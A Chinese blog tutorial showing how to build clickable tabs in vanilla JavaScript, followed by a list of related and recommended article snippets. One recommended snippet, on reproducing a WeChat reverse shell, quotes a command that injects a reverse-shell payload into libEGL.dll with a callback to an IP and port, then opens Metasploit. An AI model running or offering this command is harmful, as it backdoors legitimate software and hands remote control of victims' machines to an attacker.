javascript实现选项卡功能，在<script>...</script>中编写代码

实现步骤

　　a）获得各操作的dom对象；

　　b）在所有按钮对象上添加单击事件；

　　c）设置所有按钮样式为空，并将当前按钮的样式设置为“active”；同时设置div1下面的所有div元素的display为none，并将当前按钮所对应的div的display为block

<!DOCTYPE HTML>

<html>

<head>

<meta charset="utf-8">

<title>Gary_实现tab标签</title>

<style>

#div1 .active {background:yellow;}

#div1 div {width:200px; height:200px; background:#CCC; border:1px solid #999; display:none;}

</style>

<script>

//此处编写代码，实现tab标签,鼠标单击某个按钮显示对应的层内容

</script>

</head>

<body>

<div id="div1">

    <input class="active" type="button" value="教育" />

    <input type="button" value="培训" />

    <input type="button" value="招生" />

    <input type="button" value="出国" />

    <div style="display:block;">教育</div>

    <div>培训</div>

    <div>招生</div>

    <div>出国</div>

</div>

</body>

</html>

//a）获得各操作的dom对象；

window.onload=function(){

    var oBox = document.getElementById("div1");

    var aBtn = oBox.getElementsByTagName("input");

    var aDiv = oBox.getElementsByTagName("div");

//b）在所有按钮对象上添加单击事件；

    for(var i=0;i<aBtn.length;i++){

        aBtn[i].index=i;

        aBtn[i].onclick=function(){

//c）设置所有按钮样式为空，并将当前按钮的样式设置为“active”；同时设置div1下面的所有div元素的display为none，并将当前按钮所对应的div的display为block

            for(var k=0;k<aBtn.length;k++){//清空所有的样式

                aBtn[k].className ='';

                aDiv[k].style.display ='none';

            }

            //给当前的按钮和div添加样式

            this.className ='active';

            aDiv[this.index].style.display ='block';

        };

    }

}

Gary.Script

原生Js_实现简单选项卡功能的更多相关文章

  1. 原生Js_实现简单的下拉折叠菜单(添加弹出动画效果)

    用javascript实现简单的下拉折叠菜单效果 实现步骤 (a)获得各操作的dom对象: (b)在所有菜单按钮对象上添加单击事件: (c)设置所有菜单按钮样式为空,并将当前按钮的样式设置为“acti ...

  2. 原生js、jQuery实现选项卡功能

    在大家在网上平常浏览网页的时候,想必各位都会看到选项卡功能,在这里给大家详解一下用原生js.jQuery如何来写一些基本的选项卡 话不多说,先给各位看一下功能图:              好了,下边 ...

  3. 使用原生js实现选项卡功能实例教程

    选项卡是前端常见的基本功能,它是用多个标签页来区分不同内容,通过选择标签快速切换内容.学习本教程之前,读者需要具备html和css技能,同时需要有简单的javascript基础. 先来完成html部分 ...

  4. 原生JS实现简单留言板功能

    原生JS实现简单留言板功能,实现技术:css flex,原生JS. 因为主要是为了练手js,所以其中布局上的一些细节并未做处理. <!DOCTYPE html> <html lang ...

  5. 原生JS实现购物车结算功能代码+zepto版

    html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3 ...

  6. System.DateUtils 1. DateOf、TimeOf 简单修饰功能

    编译版本:Delphi XE7 { Simple trimming functions } // 简单修饰功能 function DateOf(const AValue: TDateTime): TD ...

  7. 原生JS封装简单动画效果

    原生JS封装简单动画效果 一致使用各种插件,有时候对原生JS陌生了起来,所以决定封装一个简单动画效果,熟悉JS原生代码 function animate(obj, target,num){ if(ob ...

  8. python3实现简单爬虫功能

    本文参考虫师python2实现简单爬虫功能,并增加自己的感悟. #coding=utf-8 import re import urllib.request def getHtml(url): page ...

  9. 插件介绍 ：cropper是一款使用简单且功能强大的图片剪裁jQuery插件。

    简要教程 cropper是一款使用简单且功能强大的图片剪裁jQuery插件.该图片剪裁插件支持图片放大缩小,支持鼠标滚轮操作,支持图片旋转,支持触摸屏设备,支持canvas,并且支持跨浏览器使用. c ...

随机推荐

  1. Binding的Path(路径)

    Binding的源可以是控件(一个控件是另一个控件的Source.控件把自己的容器作为Source),把集合作为ItemsControls的Source,把xml作为Tree或者Menu的Source ...

  2. Axure（一）

    axure1.原型工具 2.软件开发 1.可行性分析2.需求分析    产品经理(和甲方对接需求,)    乙方     --   甲方 ps(专业性强,精美)  设计师        html(可变 ...

  3. TypeScript 和 JavaScript 的区别

    TypeScript 和 JavaScript 是目前项目开发中较为流行的两种脚本语言,我们已经熟知 TypeScript 是 JavaScript 的一个超集.JavaScript 和 TypeSc ...

  4. 富文本编辑器--使用textarea即时更新文本域同步编辑器内容

    使用 textarea wangEditor 从v3版本开始不支持 textarea ,但是可以通过onchange来实现 textarea 中提交富文本内容. <div id="di ...

  5. MySQL单机上多实例安装

    首先安装mysql,不要启动MySQL,先配置vim /etc/my.cnf.[mysqld_multi]mysqld = /usr/bin/mysqld_safemysqladmin = /usr/ ...

  6. 图书管理系统UML建模

    图书管理系统UML建模 用例图 借阅者请求服务用例图 图书管理员处理借书还书用例图 系统管理员系统维护用例图 时序图 系统管理员添加书籍时序图 协作图 借阅者预留书籍协作图 状态图 书的状态图 活动图 ...

  7. 2019.10.9wechat反弹shell复现

    ./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.106.137 msfconsle 打开msf 在 ...

  8. Jenkins+GitHub 项目环境搭建（一）

    安装Jenkins yum install -y java-1.8.0-openjdk wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkin ...

  9. IO模型（epoll）--详解-01

    写在前面 从事服务端开发,少不了要接触网络编程.epoll作为linux下高性能网络服务器的必备技术至关重要,nginx.redis.skynet和大部分游戏服务器都使用到这一多路复用技术. 本文会从 ...

  10. svn提交报错 解决方法

    1.先clean 2.删除 .lock文件 3.update项目 4.先还原文件,然后update 接着commit